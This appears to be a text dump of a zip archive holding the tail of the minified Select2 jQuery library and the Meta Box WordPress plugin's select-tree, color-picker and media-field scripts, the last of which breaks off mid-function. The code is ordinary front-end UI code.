t.pagination&&t.pagination.more},e.prototype.createLoadingMore=function(){var e=n('<li class="select2-results__option select2-results__option--load-more"role="option" aria-disabled="true"></li>'),t=this.options.get("translations").get("loadingMore");return e.html(t(this.lastParams)),e},e}),e.define("select2/dropdown/attachBody",["jquery","../utils"],function(f,a){function e(e,t,n){this.$dropdownParent=f(n.get("dropdownParent")||document.body),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),t.on("open",function(){r._showDropdown(),r._attachPositioningHandler(t),r._bindContainerResultHandlers(t)}),t.on("close",function(){r._hideDropdown(),r._detachPositioningHandler(t)}),this.$dropdownContainer.on("mousedown",function(e){e.stopPropagation()})},e.prototype.destroy=function(e){e.call(this),this.$dropdownContainer.remove()},e.prototype.position=function(e,t,n){t.attr("class",n.attr("class")),t.removeClass("select2"),t.addClass("select2-container--open"),t.css({position:"absolute",top:-999999}),this.$container=n},e.prototype.render=function(e){var t=f("<span></span>"),n=e.call(this);return t.append(n),this.$dropdownContainer=t},e.prototype._hideDropdown=function(e){this.$dropdownContainer.detach()},e.prototype._bindContainerResultHandlers=function(e,t){if(!this._containerResultsHandlersBound){var n=this;t.on("results:all",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("results:append",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("results:message",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("select",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("unselect",function(){n._positionDropdown(),n._resizeDropdown()}),this._containerResultsHandlersBound=!0}},e.prototype._attachPositioningHandler=function(e,t){var n=this,r="scroll.select2."+t.id,i="resize.select2."+t.id,o="orientationchange.select2."+t.id,s=this.$container.parents().filter(a.hasScroll);s.each(function(){a.StoreData(this,"select2-scroll-position",{x:f(this).scrollLeft(),y:f(this).scrollTop()})}),s.on(r,function(e){var t=a.GetData(this,"select2-scroll-position");f(this).scrollTop(t.y)}),f(window).on(r+" "+i+" "+o,function(e){n._positionDropdown(),n._resizeDropdown()})},e.prototype._detachPositioningHandler=function(e,t){var n="scroll.select2."+t.id,r="resize.select2."+t.id,i="orientationchange.select2."+t.id;this.$container.parents().filter(a.hasScroll).off(n),f(window).off(n+" "+r+" "+i)},e.prototype._positionDropdown=function(){var e=f(window),t=this.$dropdown.hasClass("select2-dropdown--above"),n=this.$dropdown.hasClass("select2-dropdown--below"),r=null,i=this.$container.offset();i.bottom=i.top+this.$container.outerHeight(!1);var o={height:this.$container.outerHeight(!1)};o.top=i.top,o.bottom=i.top+o.height;var s=this.$dropdown.outerHeight(!1),a=e.scrollTop(),l=e.scrollTop()+e.height(),c=a<i.top-s,u=l>i.bottom+s,d={left:i.left,top:o.bottom},p=this.$dropdownParent;"static"===p.css("position")&&(p=p.offsetParent());var h=p.offset();d.top-=h.top,d.left-=h.left,t||n||(r="below"),u||!c||t?!c&&u&&t&&(r="below"):r="above",("above"==r||t&&"below"!==r)&&(d.top=o.top-h.top-s),null!=r&&(this.$dropdown.removeClass("select2-dropdown--below select2-dropdown--above").addClass("select2-dropdown--"+r),this.$container.removeClass("select2-container--below select2-container--above").addClass("select2-container--"+r)),this.$dropdownContainer.css(d)},e.prototype._resizeDropdown=function(){var e={width:this.$container.outerWidth(!1)+"px"};this.options.get("dropdownAutoWidth")&&(e.minWidth=e.width,e.position="relative",e.width="auto"),this.$dropdown.css(e)},e.prototype._showDropdown=function(e){this.$dropdownContainer.appendTo(this.$dropdownParent),this._positionDropdown(),this._resizeDropdown()},e}),e.define("select2/dropdown/minimumResultsForSearch",[],function(){function e(e,t,n,r){this.minimumResultsForSearch=n.get("minimumResultsForSearch"),this.minimumResultsForSearch<0&&(this.minimumResultsForSearch=1/0),e.call(this,t,n,r)}return e.prototype.showSearch=function(e,t){return!(function e(t){for(var n=0,r=0;r<t.length;r++){var i=t[r];i.children?n+=e(i.children):n++}return n}(t.data.results)<this.minimumResultsForSearch)&&e.call(this,t)},e}),e.define("select2/dropdown/selectOnClose",["../utils"],function(o){function e(){}return e.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),t.on("close",function(e){r._handleSelectOnClose(e)})},e.prototype._handleSelectOnClose=function(e,t){if(t&&null!=t.originalSelect2Event){var n=t.originalSelect2Event;if("select"===n._type||"unselect"===n._type)return}var r=this.getHighlightedResults();if(!(r.length<1)){var i=o.GetData(r[0],"data");null!=i.element&&i.element.selected||null==i.element&&i.selected||this.trigger("select",{data:i})}},e}),e.define("select2/dropdown/closeOnSelect",[],function(){function e(){}return e.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),t.on("select",function(e){r._selectTriggered(e)}),t.on("unselect",function(e){r._selectTriggered(e)})},e.prototype._selectTriggered=function(e,t){var n=t.originalEvent;n&&(n.ctrlKey||n.metaKey)||this.trigger("close",{originalEvent:n,originalSelect2Event:t})},e}),e.define("select2/i18n/en",[],function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Please delete "+t+" character";return 1!=t&&(n+="s"),n},inputTooShort:function(e){return"Please enter "+(e.minimum-e.input.length)+" or more characters"},loadingMore:function(){return"Loading more results…"},maximumSelected:function(e){var t="You can only select "+e.maximum+" item";return 1!=e.maximum&&(t+="s"),t},noResults:function(){return"No results found"},searching:function(){return"Searching…"},removeAllItems:function(){return"Remove all items"}}}),e.define("select2/defaults",["jquery","require","./results","./selection/single","./selection/multiple","./selection/placeholder","./selection/allowClear","./selection/search","./selection/eventRelay","./utils","./translation","./diacritics","./data/select","./data/array","./data/ajax","./data/tags","./data/tokenizer","./data/minimumInputLength","./data/maximumInputLength","./data/maximumSelectionLength","./dropdown","./dropdown/search","./dropdown/hidePlaceholder","./dropdown/infiniteScroll","./dropdown/attachBody","./dropdown/minimumResultsForSearch","./dropdown/selectOnClose","./dropdown/closeOnSelect","./i18n/en"],function(c,u,d,p,h,f,g,m,v,y,s,t,_,$,w,b,A,x,D,S,E,C,O,T,q,L,I,j,e){function n(){this.reset()}return n.prototype.apply=function(e){if(null==(e=c.extend(!0,{},this.defaults,e)).dataAdapter){if(null!=e.ajax?e.dataAdapter=w:null!=e.data?e.dataAdapter=$:e.dataAdapter=_,0<e.minimumInputLength&&(e.dataAdapter=y.Decorate(e.dataAdapter,x)),0<e.maximumInputLength&&(e.dataAdapter=y.Decorate(e.dataAdapter,D)),0<e.maximumSelectionLength&&(e.dataAdapter=y.Decorate(e.dataAdapter,S)),e.tags&&(e.dataAdapter=y.Decorate(e.dataAdapter,b)),null==e.tokenSeparators&&null==e.tokenizer||(e.dataAdapter=y.Decorate(e.dataAdapter,A)),null!=e.query){var t=u(e.amdBase+"compat/query");e.dataAdapter=y.Decorate(e.dataAdapter,t)}if(null!=e.initSelection){var n=u(e.amdBase+"compat/initSelection");e.dataAdapter=y.Decorate(e.dataAdapter,n)}}if(null==e.resultsAdapter&&(e.resultsAdapter=d,null!=e.ajax&&(e.resultsAdapter=y.Decorate(e.resultsAdapter,T)),null!=e.placeholder&&(e.resultsAdapter=y.Decorate(e.resultsAdapter,O)),e.selectOnClose&&(e.resultsAdapter=y.Decorate(e.resultsAdapter,I))),null==e.dropdownAdapter){if(e.multiple)e.dropdownAdapter=E;else{var r=y.Decorate(E,C);e.dropdownAdapter=r}if(0!==e.minimumResultsForSearch&&(e.dropdownAdapter=y.Decorate(e.dropdownAdapter,L)),e.closeOnSelect&&(e.dropdownAdapter=y.Decorate(e.dropdownAdapter,j)),null!=e.dropdownCssClass||null!=e.dropdownCss||null!=e.adaptDropdownCssClass){var i=u(e.amdBase+"compat/dropdownCss");e.dropdownAdapter=y.Decorate(e.dropdownAdapter,i)}e.dropdownAdapter=y.Decorate(e.dropdownAdapter,q)}if(null==e.selectionAdapter){if(e.multiple?e.selectionAdapter=h:e.selectionAdapter=p,null!=e.placeholder&&(e.selectionAdapter=y.Decorate(e.selectionAdapter,f)),e.allowClear&&(e.selectionAdapter=y.Decorate(e.selectionAdapter,g)),e.multiple&&(e.selectionAdapter=y.Decorate(e.selectionAdapter,m)),null!=e.containerCssClass||null!=e.containerCss||null!=e.adaptContainerCssClass){var o=u(e.amdBase+"compat/containerCss");e.selectionAdapter=y.Decorate(e.selectionAdapter,o)}e.selectionAdapter=y.Decorate(e.selectionAdapter,v)}e.language=this._resolveLanguage(e.language),e.language.push("en");for(var s=[],a=0;a<e.language.length;a++){var l=e.language[a];-1===s.indexOf(l)&&s.push(l)}return e.language=s,e.translations=this._processTranslations(e.language,e.debug),e},n.prototype.reset=function(){function a(e){return e.replace(/[^\u0000-\u007E]/g,function(e){return t[e]||e})}this.defaults={amdBase:"./",amdLanguageBase:"./i18n/",closeOnSelect:!0,debug:!1,dropdownAutoWidth:!1,escapeMarkup:y.escapeMarkup,language:{},matcher:function e(t,n){if(""===c.trim(t.term))return n;if(n.children&&0<n.children.length){for(var r=c.extend(!0,{},n),i=n.children.length-1;0<=i;i--)null==e(t,n.children[i])&&r.children.splice(i,1);return 0<r.children.length?r:e(t,r)}var o=a(n.text).toUpperCase(),s=a(t.term).toUpperCase();return-1<o.indexOf(s)?n:null},minimumInputLength:0,maximumInputLength:0,maximumSelectionLength:0,minimumResultsForSearch:0,selectOnClose:!1,scrollAfterSelect:!1,sorter:function(e){return e},templateResult:function(e){return e.text},templateSelection:function(e){return e.text},theme:"default",width:"resolve"}},n.prototype.applyFromElement=function(e,t){var n=e.language,r=this.defaults.language,i=t.prop("lang"),o=t.closest("[lang]").prop("lang"),s=Array.prototype.concat.call(this._resolveLanguage(i),this._resolveLanguage(n),this._resolveLanguage(r),this._resolveLanguage(o));return e.language=s,e},n.prototype._resolveLanguage=function(e){if(!e)return[];if(c.isEmptyObject(e))return[];if(c.isPlainObject(e))return[e];var t;t=c.isArray(e)?e:[e];for(var n=[],r=0;r<t.length;r++)if(n.push(t[r]),"string"==typeof t[r]&&0<t[r].indexOf("-")){var i=t[r].split("-")[0];n.push(i)}return n},n.prototype._processTranslations=function(e,t){for(var n=new s,r=0;r<e.length;r++){var i=new s,o=e[r];if("string"==typeof o)try{i=s.loadPath(o)}catch(e){try{o=this.defaults.amdLanguageBase+o,i=s.loadPath(o)}catch(e){t&&window.console&&console.warn&&console.warn('Select2: The language file for "'+o+'" could not be automatically loaded. A fallback will be used instead.')}}else i=c.isPlainObject(o)?new s(o):o;n.extend(i)}return n},n.prototype.set=function(e,t){var n={};n[c.camelCase(e)]=t;var r=y._convertData(n);c.extend(!0,this.defaults,r)},new n}),e.define("select2/options",["require","jquery","./defaults","./utils"],function(r,d,i,p){function e(e,t){if(this.options=e,null!=t&&this.fromElement(t),null!=t&&(this.options=i.applyFromElement(this.options,t)),this.options=i.apply(this.options),t&&t.is("input")){var n=r(this.get("amdBase")+"compat/inputData");this.options.dataAdapter=p.Decorate(this.options.dataAdapter,n)}}return e.prototype.fromElement=function(e){var t=["select2"];null==this.options.multiple&&(this.options.multiple=e.prop("multiple")),null==this.options.disabled&&(this.options.disabled=e.prop("disabled")),null==this.options.dir&&(e.prop("dir")?this.options.dir=e.prop("dir"):e.closest("[dir]").prop("dir")?this.options.dir=e.closest("[dir]").prop("dir"):this.options.dir="ltr"),e.prop("disabled",this.options.disabled),e.prop("multiple",this.options.multiple),p.GetData(e[0],"select2Tags")&&(this.options.debug&&window.console&&console.warn&&console.warn('Select2: The `data-select2-tags` attribute has been changed to use the `data-data` and `data-tags="true"` attributes and will be removed in future versions of Select2.'),p.StoreData(e[0],"data",p.GetData(e[0],"select2Tags")),p.StoreData(e[0],"tags",!0)),p.GetData(e[0],"ajaxUrl")&&(this.options.debug&&window.console&&console.warn&&console.warn("Select2: The `data-ajax-url` attribute has been changed to `data-ajax--url` and support for the old attribute will be removed in future versions of Select2."),e.attr("ajax--url",p.GetData(e[0],"ajaxUrl")),p.StoreData(e[0],"ajax-Url",p.GetData(e[0],"ajaxUrl")));var n={};function r(e,t){return t.toUpperCase()}for(var i=0;i<e[0].attributes.length;i++){var o=e[0].attributes[i].name,s="data-";if(o.substr(0,s.length)==s){var a=o.substring(s.length),l=p.GetData(e[0],a);n[a.replace(/-([a-z])/g,r)]=l}}d.fn.jquery&&"1."==d.fn.jquery.substr(0,2)&&e[0].dataset&&(n=d.extend(!0,{},e[0].dataset,n));var c=d.extend(!0,{},p.GetData(e[0]),n);for(var u in c=p._convertData(c))-1<d.inArray(u,t)||(d.isPlainObject(this.options[u])?d.extend(this.options[u],c[u]):this.options[u]=c[u]);return this},e.prototype.get=function(e){return this.options[e]},e.prototype.set=function(e,t){this.options[e]=t},e}),e.define("select2/core",["jquery","./options","./utils","./keys"],function(i,c,u,r){var d=function(e,t){null!=u.GetData(e[0],"select2")&&u.GetData(e[0],"select2").destroy(),this.$element=e,this.id=this._generateId(e),t=t||{},this.options=new c(t,e),d.__super__.constructor.call(this);var n=e.attr("tabindex")||0;u.StoreData(e[0],"old-tabindex",n),e.attr("tabindex","-1");var r=this.options.get("dataAdapter");this.dataAdapter=new r(e,this.options);var i=this.render();this._placeContainer(i);var o=this.options.get("selectionAdapter");this.selection=new o(e,this.options),this.$selection=this.selection.render(),this.selection.position(this.$selection,i);var s=this.options.get("dropdownAdapter");this.dropdown=new s(e,this.options),this.$dropdown=this.dropdown.render(),this.dropdown.position(this.$dropdown,i);var a=this.options.get("resultsAdapter");this.results=new a(e,this.options,this.dataAdapter),this.$results=this.results.render(),this.results.position(this.$results,this.$dropdown);var l=this;this._bindAdapters(),this._registerDomEvents(),this._registerDataEvents(),this._registerSelectionEvents(),this._registerDropdownEvents(),this._registerResultsEvents(),this._registerEvents(),this.dataAdapter.current(function(e){l.trigger("selection:update",{data:e})}),e.addClass("select2-hidden-accessible"),e.attr("aria-hidden","true"),this._syncAttributes(),u.StoreData(e[0],"select2",this),e.data("select2",this)};return u.Extend(d,u.Observable),d.prototype._generateId=function(e){return"select2-"+(null!=e.attr("id")?e.attr("id"):null!=e.attr("name")?e.attr("name")+"-"+u.generateChars(2):u.generateChars(4)).replace(/(:|\.|\[|\]|,)/g,"")},d.prototype._placeContainer=function(e){e.insertAfter(this.$element);var t=this._resolveWidth(this.$element,this.options.get("width"));null!=t&&e.css("width",t)},d.prototype._resolveWidth=function(e,t){var n=/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;if("resolve"==t){var r=this._resolveWidth(e,"style");return null!=r?r:this._resolveWidth(e,"element")}if("element"==t){var i=e.outerWidth(!1);return i<=0?"auto":i+"px"}if("style"!=t)return"computedstyle"!=t?t:window.getComputedStyle(e[0]).width;var o=e.attr("style");if("string"!=typeof o)return null;for(var s=o.split(";"),a=0,l=s.length;a<l;a+=1){var c=s[a].replace(/\s/g,"").match(n);if(null!==c&&1<=c.length)return c[1]}return null},d.prototype._bindAdapters=function(){this.dataAdapter.bind(this,this.$container),this.selection.bind(this,this.$container),this.dropdown.bind(this,this.$container),this.results.bind(this,this.$container)},d.prototype._registerDomEvents=function(){var t=this;this.$element.on("change.select2",function(){t.dataAdapter.current(function(e){t.trigger("selection:update",{data:e})})}),this.$element.on("focus.select2",function(e){t.trigger("focus",e)}),this._syncA=u.bind(this._syncAttributes,this),this._syncS=u.bind(this._syncSubtree,this),this.$element[0].attachEvent&&this.$element[0].attachEvent("onpropertychange",this._syncA);var e=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver;null!=e?(this._observer=new e(function(e){i.each(e,t._syncA),i.each(e,t._syncS)}),this._observer.observe(this.$element[0],{attributes:!0,childList:!0,subtree:!1})):this.$element[0].addEventListener&&(this.$element[0].addEventListener("DOMAttrModified",t._syncA,!1),this.$element[0].addEventListener("DOMNodeInserted",t._syncS,!1),this.$element[0].addEventListener("DOMNodeRemoved",t._syncS,!1))},d.prototype._registerDataEvents=function(){var n=this;this.dataAdapter.on("*",function(e,t){n.trigger(e,t)})},d.prototype._registerSelectionEvents=function(){var n=this,r=["toggle","focus"];this.selection.on("toggle",function(){n.toggleDropdown()}),this.selection.on("focus",function(e){n.focus(e)}),this.selection.on("*",function(e,t){-1===i.inArray(e,r)&&n.trigger(e,t)})},d.prototype._registerDropdownEvents=function(){var n=this;this.dropdown.on("*",function(e,t){n.trigger(e,t)})},d.prototype._registerResultsEvents=function(){var n=this;this.results.on("*",function(e,t){n.trigger(e,t)})},d.prototype._registerEvents=function(){var n=this;this.on("open",function(){n.$container.addClass("select2-container--open")}),this.on("close",function(){n.$container.removeClass("select2-container--open")}),this.on("enable",function(){n.$container.removeClass("select2-container--disabled")}),this.on("disable",function(){n.$container.addClass("select2-container--disabled")}),this.on("blur",function(){n.$container.removeClass("select2-container--focus")}),this.on("query",function(t){n.isOpen()||n.trigger("open",{}),this.dataAdapter.query(t,function(e){n.trigger("results:all",{data:e,query:t})})}),this.on("query:append",function(t){this.dataAdapter.query(t,function(e){n.trigger("results:append",{data:e,query:t})})}),this.on("keypress",function(e){var t=e.which;n.isOpen()?t===r.ESC||t===r.TAB||t===r.UP&&e.altKey?(n.close(),e.preventDefault()):t===r.ENTER?(n.trigger("results:select",{}),e.preventDefault()):t===r.SPACE&&e.ctrlKey?(n.trigger("results:toggle",{}),e.preventDefault()):t===r.UP?(n.trigger("results:previous",{}),e.preventDefault()):t===r.DOWN&&(n.trigger("results:next",{}),e.preventDefault()):(t===r.ENTER||t===r.SPACE||t===r.DOWN&&e.altKey)&&(n.open(),e.preventDefault())})},d.prototype._syncAttributes=function(){this.options.set("disabled",this.$element.prop("disabled")),this.options.get("disabled")?(this.isOpen()&&this.close(),this.trigger("disable",{})):this.trigger("enable",{})},d.prototype._syncSubtree=function(e,t){var n=!1,r=this;if(!e||!e.target||"OPTION"===e.target.nodeName||"OPTGROUP"===e.target.nodeName){if(t)if(t.addedNodes&&0<t.addedNodes.length)for(var i=0;i<t.addedNodes.length;i++){t.addedNodes[i].selected&&(n=!0)}else t.removedNodes&&0<t.removedNodes.length&&(n=!0);else n=!0;n&&this.dataAdapter.current(function(e){r.trigger("selection:update",{data:e})})}},d.prototype.trigger=function(e,t){var n=d.__super__.trigger,r={open:"opening",close:"closing",select:"selecting",unselect:"unselecting",clear:"clearing"};if(void 0===t&&(t={}),e in r){var i=r[e],o={prevented:!1,name:e,args:t};if(n.call(this,i,o),o.prevented)return void(t.prevented=!0)}n.call(this,e,t)},d.prototype.toggleDropdown=function(){this.options.get("disabled")||(this.isOpen()?this.close():this.open())},d.prototype.open=function(){this.isOpen()||this.trigger("query",{})},d.prototype.close=function(){this.isOpen()&&this.trigger("close",{})},d.prototype.isOpen=function(){return this.$container.hasClass("select2-container--open")},d.prototype.hasFocus=function(){return this.$container.hasClass("select2-container--focus")},d.prototype.focus=function(e){this.hasFocus()||(this.$container.addClass("select2-container--focus"),this.trigger("focus",{}))},d.prototype.enable=function(e){this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("enable")` method has been deprecated and will be removed in later Select2 versions. Use $element.prop("disabled") instead.'),null!=e&&0!==e.length||(e=[!0]);var t=!e[0];this.$element.prop("disabled",t)},d.prototype.data=function(){this.options.get("debug")&&0<arguments.length&&window.console&&console.warn&&console.warn('Select2: Data can no longer be set using `select2("data")`. You should consider setting the value instead using `$element.val()`.');var t=[];return this.dataAdapter.current(function(e){t=e}),t},d.prototype.val=function(e){if(this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("val")` method has been deprecated and will be removed in later Select2 versions. Use $element.val() instead.'),null==e||0===e.length)return this.$element.val();var t=e[0];i.isArray(t)&&(t=i.map(t,function(e){return e.toString()})),this.$element.val(t).trigger("change")},d.prototype.destroy=function(){this.$container.remove(),this.$element[0].detachEvent&&this.$element[0].detachEvent("onpropertychange",this._syncA),null!=this._observer?(this._observer.disconnect(),this._observer=null):this.$element[0].removeEventListener&&(this.$element[0].removeEventListener("DOMAttrModified",this._syncA,!1),this.$element[0].removeEventListener("DOMNodeInserted",this._syncS,!1),this.$element[0].removeEventListener("DOMNodeRemoved",this._syncS,!1)),this._syncA=null,this._syncS=null,this.$element.off(".select2"),this.$element.attr("tabindex",u.GetData(this.$element[0],"old-tabindex")),this.$element.removeClass("select2-hidden-accessible"),this.$element.attr("aria-hidden","false"),u.RemoveData(this.$element[0]),this.$element.removeData("select2"),this.dataAdapter.destroy(),this.selection.destroy(),this.dropdown.destroy(),this.results.destroy(),this.dataAdapter=null,this.selection=null,this.dropdown=null,this.results=null},d.prototype.render=function(){var e=i('<span class="select2 select2-container"><span class="selection"></span><span class="dropdown-wrapper" aria-hidden="true"></span></span>');return e.attr("dir",this.options.get("dir")),this.$container=e,this.$container.addClass("select2-container--"+this.options.get("theme")),u.StoreData(e[0],"element",this.$element),e},d}),e.define("jquery-mousewheel",["jquery"],function(e){return e}),e.define("jquery.select2",["jquery","jquery-mousewheel","./select2/core","./select2/defaults","./select2/utils"],function(i,e,o,t,s){if(null==i.fn.select2){var a=["open","close","destroy"];i.fn.select2=function(t){if("object"==typeof(t=t||{}))return this.each(function(){var e=i.extend(!0,{},t);new o(i(this),e)}),this;if("string"!=typeof t)throw new Error("Invalid arguments for Select2: "+t);var n,r=Array.prototype.slice.call(arguments,1);return this.each(function(){var e=s.GetData(this,"select2");null==e&&window.console&&console.error&&console.error("The select2('"+t+"') method was called on an element that is not using Select2."),n=e[t].apply(e,r)}),-1<i.inArray(t,a)?this:n}}return null==i.fn.select2.defaults&&(i.fn.select2.defaults=t),o}),{define:e.define,require:e.require}}(),t=e.require("jquery.select2");return u.fn.select2.amd=e,t});PK     0w\h    (  dashboard/lib/meta-box/js/select-tree.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	function setInitialRequiredProp() {
		var $this = $( this ),
			required = $this.prop( 'required' );

		if ( required ) {
			$this.data( 'initial-required', required );
		}
	}

	function unsetRequiredProp() {
		$( this ).prop( 'required', false );
	}

	function setRequiredProp() {
		var $this = $( this );

		if ( $this.data( 'initial-required' ) ) {
			$this.prop( 'required', true );
		}
	}

	function toggleTree() {
		var $this = $( this ),
			val = $this.val(),
			$tree = $this.siblings( '.rwmb-select-tree' ),
			$selected = $tree.filter( "[data-parent-id='" + val + "']" ),
			$notSelected = $tree.not( $selected );

		$selected.removeClass( 'hidden' ).find( 'select' ).each( setRequiredProp );
		$notSelected.addClass( 'hidden' ).find( 'select' ).each( unsetRequiredProp ).prop( 'selectedIndex', 0 );
	}

	function instantiateSelect2() {
		var $this = $( this ),
			options = $this.data( 'options' );

		$this
			.removeClass( 'select2-hidden-accessible' ).removeAttr( 'data-select2-id' )
			.children().removeAttr( 'data-select2-id' ).end()
			.siblings( '.select2-container' ).remove().end()
			.select2( options );

		toggleTree.call( this );
	}

	function init( e ) {
		var $select = $( e.target ).find( '.rwmb-select-tree > select' );

		$select.each ( setInitialRequiredProp );
		$select.each( function() {
			const $this = $( this ),
				options = $this.data( 'options' );

			$this.select2( options );
		} );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'change', '.rwmb-select-tree > select', toggleTree )
		.on( 'clone', '.rwmb-select-tree > select', instantiateSelect2 );
} )( jQuery, rwmb );
PK     0w\lL[V    "  dashboard/lib/meta-box/js/color.jsnu [        ( function( $, rwmb ) {
	'use strict';

	/**
	 * Transform an input into a color picker.
	 */
	function transform() {

		if ( $( this ).data( 'options' ) == undefined ) {
			return;
		}

		const $this = $( this );
		const mode = $this.data( 'options' )[ 'mode' ];
		const alpha = $this.data( 'alpha-enabled' );

		function initChange() {
			if ( null !== mode && 'hex' !== mode && !alpha ) {
				const color = new Color( $this.iris( 'option', 'color' ) );
				$this.val( color.toCSS( mode ) );
			}
			triggerChange();
		}

		function triggerChange() {
			$this.trigger( 'color:change' ).trigger( 'mb_change' );
		}

		const $container = $this.closest( '.wp-picker-container' ),
			// Hack: the picker needs a small delay (learn from the Kirki plugin).
			options = $.extend(
				{
					change: function() {
						setTimeout( initChange, 20 );
					},
					clear: function() {
						setTimeout( triggerChange, 20 );
					}
				},
				$this.data( 'options' )
			);

		// Clone doesn't have input for color picker, we have to add the input and remove the color picker container
		if ( $container.length > 0 ) {
			$this.insertBefore( $container );
			$container.remove();
		}

		// Show color picker.
		$this.wpColorPicker( options );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-color' ).each( transform );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-color', transform );
} )( jQuery, rwmb );
PK     0w\7=  =  "  dashboard/lib/meta-box/js/media.jsnu [        ( function ( $, wp, _, rwmb, i18n ) {
	'use strict';

	var views = rwmb.views = rwmb.views || {},
		models = rwmb.models = rwmb.models || {},
		media = wp.media,
		MediaFrame = media.view.MediaFrame,
		MediaCollection, Controller, MediaField, MediaList, MediaItem, MediaButton, MediaStatus, EditMedia,
		MediaDetails, MediaLibrary, MediaSelect;

	MediaCollection = Backbone.Collection.extend( {
		model: wp.media.model.Attachment,

		initialize: function ( models, options ) {
			this.controller = options.controller || new models.Controller;
			this.on( 'add remove reset', function () {
				var max = this.controller.get( 'maxFiles' );
				this.controller.set( 'length', this.length );
				this.controller.set( 'full', max > 0 && this.length >= max );
			} );
		},

		add: function ( models, options ) {
			var max = this.controller.get( 'maxFiles' ),
				left = max - this.length;

			if ( ! models || ( max > 0 && left <= 0 ) ) {
				return this;
			}
			if ( ! models.hasOwnProperty( 'length' ) ) {
				models = [models];
			} else if ( models instanceof media.model.Attachments ) {
				models = models.models;
			}

			models = _.difference( models, this.models );
			if ( left > 0 ) {
				models = _.first( models, left );
			}

			Backbone.Collection.prototype.add.call( this, models, options );
		},

		remove: function ( models, options ) {
			// Don't remove models if event is not fired from MB plugin.
			if( ! $( event.target ).closest( '.rwmb-field, [data-class="rwmb-field"]' ).length ) {
				return;
			}
			models = Backbone.Collection.prototype.remove.call( this, models, options );
			if ( this.controller.get( 'forceDelete' ) === true ) {
				models = ! _.isArray( models ) ? [models] : models;
				_.each( models, function ( model ) {
					model.destroy();
				} );
			}
		},

		destroyAll: function () {
			_.each( _.clone( this.models ), function ( model ) {
				model.destroy();
			} );
		}
	} );

	/***
	 * Controller Model
	 * Manages data of media field and media models.  Most of the media views will use this to manage the media
	 */
	Controller = models.Controller = Backbone.Model.extend( {
		//Default options
		defaults: {
			maxFiles: 0,
			ids: [],
			mimeType: '',
			forceDelete: false,
			maxStatus: true,
			length: 0
		},

		//Initialize Controller model
		initialize: function () {
			// All numbers, no 0 ids
			this.set( 'ids', _.without( _.map( this.get( 'ids' ), Number ), 0, - 1 ) );

			// Create items collection
			this.set( 'items', new MediaCollection( [], {controller: this} ) );

			// Listen for destroy event on controller, delete all models when triggered
			this.on( 'destroy', function () {
				if ( this.get( 'forceDelete' ) ) {
					this.get( 'items' ).destroyAll();
				}
			} );
		}
	} );

	/***
	 * MediaField
	 * Sets up media field view and subviews
	 */
	MediaField = views.MediaField = Backbone.View.extend( {
		className: 'rwmb-media-view',
		initialize: function ( options ) {
			var that = this,
				fieldName = options.input.name;
			this.$input = $( options.input );

			if ( 1 != this.$input.attr( 'data-single-image' ) ) {
				fieldName += '[]';
			}

			this.controller = new Controller( _.extend(
				{
					fieldName: fieldName,
					ids: this.$input.val().split( ',' )
				},
				this.$input.data( 'options' )
			) );

			// Create views
			this.createList();
			this.createAddButton();
			this.createStatus();

			this.render();
			this.loadInitialAttachments();

			// Listen for destroy event on input
			this.$input.on( 'remove', function () {
				that.controller.destroy();
			} );

			var collection = this.controller.get( 'items' );
			this.$input.on( 'media:reset', function() {
				collection.reset();
			} );

			collection.on( 'all', _.debounce( function() {
				var ids = collection.pluck( 'id' ).join( ',' );
				that.$input.val( ids ).trigger( 'change', [that.$( '.rwmb-media-input' )] );
			}, 500 ) );
		},

		loadInitialAttachments: function () {
			if ( ! this.$input.val() ) {
				return;
			}
			var models = this.$input.data( 'attachments' ).map( function( attachment ) {
				return wp.media.model.Attachment.create( attachment );
			} );
			this.controller.get( 'items' ).add( models );
		},

		// Creates media list
		createList: function () {
			this.list = new MediaList( {controller: this.controller} );
		},

		// Creates button that adds media
		createAddButton: function () {
			this.addButton = new MediaButton( {controller: this.controller} );
		},

		// Creates status
		createStatus: function () {
			this.status = new MediaStatus( {controller: this.controller} );
		},

		// Render field and adds sub fields
		render: function () {
			// Empty then add parts
			this.$el.empty().append(
				this.list.el,
				this.status.el,
				this.addButton.el
			);
		}
	} );

	/***
	 * Media List
	 * lists media
	 */
	MediaList = views.MediaList = Backbone.View.extend( {
		tagName: 'ul',
		className: 'rwmb-media-list',

		initialize: function ( options ) {
			this.controller = options.controller;
			this.collection = this.controller.get( 'items' );
			this.itemView = options.itemView || MediaItem;
			this.getItemView = _.memoize( function ( item ) {
					var itemView = new this.itemView( {
						model: item,
						controller: this.controller
					} );

					this.listenToItemView( itemView );

					return itemView;
				},
				function ( item ) {
					return item.cid;
				}
			);

			this.listenTo( this.collection, 'add', this.addItemView );
			this.listenTo( this.collection, 'remove', this.removeItemView );
			this.listenTo( this.collection, 'reset', this.resetItemViews );

			// Sort items using helper 'clone' to prevent trigger click on the image, which means reselect.
			this.$el.sortable( {
				helper : 'clone',
				start: function ( event, ui ) {
					ui.placeholder.height( ui.helper.outerHeight() );
					ui.placeholder.width( ui.helper.outerWidth() );
				},
				update: function( event, ui ) {
					ui.item.find( rwmb.inputSelectors ).first().trigger( 'mb_change' );
				}
			} );
		},

		listenToItemView: function ( itemView ) {
			this.listenTo( itemView, 'click:remove', this.removeItem );
			this.listenTo( itemView, 'click:switch', this.switchItem );
			this.listenTo( itemView, 'click:edit', this.editItem );
		},

		addItemView: function ( item ) {
			var index = this.collection.indexOf( item ),
				itemEl = this.getItemView( item ).el,
				$children = this.$el.children();

			if ( 0 >= index ) {
				this.$el.prepend( itemEl );
			} else if ( $children.length <= index ) {
				this.$el.append( itemEl )
			} else {
